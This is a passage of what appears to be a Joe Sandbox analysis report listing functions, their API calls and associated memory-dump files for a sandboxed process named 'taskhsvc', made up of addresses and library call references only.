Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002BEE75, Relevance: 1.6, APIs: 1, Instructions: 67

APIs

Part of subcall function 002BF2B8: memset.MSVCRT ref: 002BF3B3
Part of subcall function 002BF2B8: memset.MSVCRT ref: 002BF4BA
Part of subcall function 002BF2B8: __stack_chk_fail.LIBSSP-0(?), ref: 002BF590

Part of subcall function 002BEC89: __stack_chk_fail.LIBSSP-0 ref: 002BECC0

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,002C01E2), ref: 002BEF25

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002B354C, Relevance: 1.6, APIs: 1, Instructions: 66

APIs

Part of subcall function 002C1E90: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00238007), ref: 002C1EC8

Part of subcall function 002B4093: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0026B89E), ref: 002B40C7

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002B3295), ref: 002B362A

Part of subcall function 002B40CE: abort.MSVCRT ref: 002B412D
Part of subcall function 002B40CE: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,00000000,?,0026B8C3), ref: 002B416C

Part of subcall function 002B3023: abort.MSVCRT ref: 002B308D
Part of subcall function 002B3023: time.MSVCRT ref: 002B30F0
Part of subcall function 002B3023: __stack_chk_fail.LIBSSP-0 ref: 002B3141

Part of subcall function 002B33E8: abort.MSVCRT ref: 002B348F
Part of subcall function 002B33E8: __stack_chk_fail.LIBSSP-0 ref: 002B3545

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F19DE, Relevance: 1.6, APIs: 1, Instructions: 65

APIs

Part of subcall function 001E8780: abort.MSVCRT ref: 001E87D6
Part of subcall function 001E8780: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001EA4BB), ref: 001E87E9

Part of subcall function 001C27F9: abort.MSVCRT ref: 001C2849
Part of subcall function 001C27F9: event_del.LIBEVENT-2-0-5 ref: 001C28A9
Part of subcall function 001C27F9: __stack_chk_fail.LIBSSP-0 ref: 001C290A

Part of subcall function 0021329C: abort.MSVCRT ref: 00213305
Part of subcall function 0021329C: __stack_chk_fail.LIBSSP-0 ref: 0021359C

Part of subcall function 00212830: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001F2084), ref: 0021288C
Part of subcall function 00212830: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,001F2084), ref: 00212932

Part of subcall function 001EA631: __stack_chk_fail.LIBSSP-0 ref: 001EA800

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 001EA98A: abort.MSVCRT ref: 001EA9F9
Part of subcall function 001EA98A: abort.MSVCRT ref: 001EAA3B
Part of subcall function 001EA98A: abort.MSVCRT ref: 001EAA7A
Part of subcall function 001EA98A: time.MSVCRT ref: 001EABA2
Part of subcall function 001EA98A: __stack_chk_fail.LIBSSP-0 ref: 001EABBD

__stack_chk_fail.LIBSSP-0 ref: 001F2115

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002339FC, Relevance: 1.6, APIs: 1, Instructions: 58

APIs

Part of subcall function 002B3F06: abort.MSVCRT ref: 002B3F62
Part of subcall function 002B3F06: __stack_chk_fail.LIBSSP-0 ref: 002B3F72

Part of subcall function 0023368C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,00234A6D,?,?,?,?,?,00236C3A), ref: 002336E8

Part of subcall function 002B2C5F: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00233A48), ref: 002B2C98

Part of subcall function 002336F3: __stack_chk_fail.LIBSSP-0 ref: 00233769

__stack_chk_fail.LIBSSP-0 ref: 00233AAE

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00261FCB, Relevance: 1.5, APIs: 1, Instructions: 47

APIs

__stack_chk_fail.LIBSSP-0 ref: 0026205D

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0024E04C, Relevance: 1.5, APIs: 1, Instructions: 44

APIs

Part of subcall function 0024DAFE: abort.MSVCRT ref: 0024DB99
Part of subcall function 0024DAFE: memcpy.MSVCRT ref: 0024DD2D
Part of subcall function 0024DAFE: memcpy.MSVCRT ref: 0024DD5A
Part of subcall function 0024DAFE: memcpy.MSVCRT ref: 0024DDF6
Part of subcall function 0024DAFE: __stack_chk_fail.LIBSSP-0 ref: 0024DE68

__stack_chk_fail.LIBSSP-0 ref: 0024E0EB

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003267DB, Relevance: 1.5, APIs: 1, Instructions: 43

APIs

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 003265E9: strerror.MSVCRT ref: 003266A8
Part of subcall function 003265E9: abort.MSVCRT ref: 00326730
Part of subcall function 003265E9: __stack_chk_fail.LIBSSP-0 ref: 00326762

Part of subcall function 00319B70: free.MSVCRT ref: 00319BA5
Part of subcall function 00319B70: free.MSVCRT ref: 00319BC7
Part of subcall function 00319B70: __stack_chk_fail.LIBSSP-0 ref: 00319BE1

__stack_chk_fail.LIBSSP-0 ref: 0032685E

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
